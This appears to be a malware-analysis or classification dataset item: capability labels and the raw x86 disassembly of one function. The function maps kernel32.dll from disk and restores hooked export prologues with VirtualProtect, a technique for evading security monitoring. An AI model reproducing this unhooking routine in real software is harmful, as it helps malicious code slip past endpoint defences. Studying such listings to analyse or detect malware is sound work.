Function at 0x401130
Capabilities:
Execute shellcode via indirect call
Link many functions at runtime
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x41b050]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x224], 0x10b
push str.kernel32.dll
mov dword [ebp - 0x234], esi
mov dword [ebp - 0x228], 0x20b
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov edi, eax
push 0x4183fc
push edi
mov dword [ebp - 0x230], edi
call ebx
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push esi
call eax
push 0x418410
push edi
call ebx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea ecx, [ebp - 0x20c]
push ecx
call eax
mov dword [ebp - 0x21c], eax
test eax, eax
je 0x401423
push str.GetFileSize
push edi
call ebx
push 0x418428
push edi
mov esi, eax
call ebx
mov edi, eax
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x21c]
call esi
mov dword [ebp - 0x22c], eax
test eax, eax
jne 0x401209
push dword [ebp - 0x21c]
call edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040ae85
mov esp, ebp
pop ebp
ret
push str.CreateFileMappingW
push dword [ebp - 0x230]
call ebx
mov esi, dword [ebp - 0x21c]
push 0
push 0
push 0
push 2
push 0
push esi
call eax
mov dword [ebp - 0x220], eax
test eax, eax
je 0x401420
push str.MapViewOfFile
push dword [ebp - 0x230]
call ebx
push dword [ebp - 0x22c]
push 0
push 0
push 4
push dword [ebp - 0x220]
call eax
mov ecx, eax
mov dword [ebp - 0x21c], ecx
test ecx, ecx
je 0x401418
mov edx, dword [ecx + 0x3c]
add edx, ecx
movzx eax, word [edx + 0x18]
cmp eax, dword [ebp - 0x224]
jne 0x40127e
lea eax, [edx + 0x78]
jmp 0x401294
movzx eax, word [edx + 0x18]
cmp eax, dword [ebp - 0x228]
jne 0x401418
lea eax, [edx + 0x88]
mov edx, ecx
mov ecx, dword [eax]
call fcn.00401050
mov esi, dword [ebp - 0x21c]
add eax, esi
mov edx, esi
mov ecx, dword [eax + 0x20]
mov dword [ebp - 0x224], eax
call fcn.00401050
lea edi, [esi + eax]
mov eax, dword [ebp - 0x224]
mov edx, esi
mov ecx, dword [eax + 0x24]
mov dword [ebp - 0x22c], edi
call fcn.00401050
mov ecx, dword [ebp - 0x224]
mov esi, eax
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ecx + 0x18]
add esi, eax
mov dword [ebp - 0x220], esi
test ecx, ecx
je 0x401423
nop
dec ecx
mov dword [ebp - 0x238], ecx
mov ecx, dword [edi]
mov edx, eax
call fcn.00401050
mov edi, dword [ebp - 0x21c]
add eax, edi
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x224]
mov edx, edi
mov ecx, dword [eax + 0x1c]
call fcn.00401050
movzx ecx, word [esi]
add eax, edi
mov edx, edi
mov ecx, dword [eax + ecx*4]
call fcn.00401050
add edi, eax
mov ecx, edi
call fcn.004010e0
test al, al
jne 0x4013d7
push dword [ebp - 0x228]
push dword [ebp - 0x234]
call ebx
mov esi, eax
test esi, esi
je 0x4013d7
mov al, byte [esi]
cmp al, 0xe9
je 0x401366
cmp al, 0xff
jne 0x4013d7
cmp byte [esi + 1], 0x25
jne 0x4013d7
push ecx
mov edx, esi
mov ecx, edi
call fcn.00401000
test eax, eax
je 0x4013d7
push str.VirtualProtect
push dword [ebp - 0x230]
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x214], 0
call ebx
lea ecx, [ebp - 0x210]
push ecx
push 0x40
push 0x40
push esi
mov dword [ebp - 0x228], eax
call eax
test eax, eax
je 0x401423
movq xmm0, qword [edi]
movq qword [esi], xmm0
mov ax, word [edi + 8]
mov word [esi + 8], ax
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 0x210]
push 0x40
push esi
call dword [ebp - 0x228]
test eax, eax
je 0x401423
mov edi, dword [ebp - 0x22c]
add dword [ebp - 0x220], 2
mov ecx, dword [ebp - 0x238]
mov esi, dword [ebp - 0x220]
mov eax, dword [ebp - 0x21c]
add edi, 4
mov dword [ebp - 0x22c], edi
test ecx, ecx
jne 0x4012f0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040ae85
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x220]
call edi
push esi
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ae85
mov esp, ebp
pop ebp
ret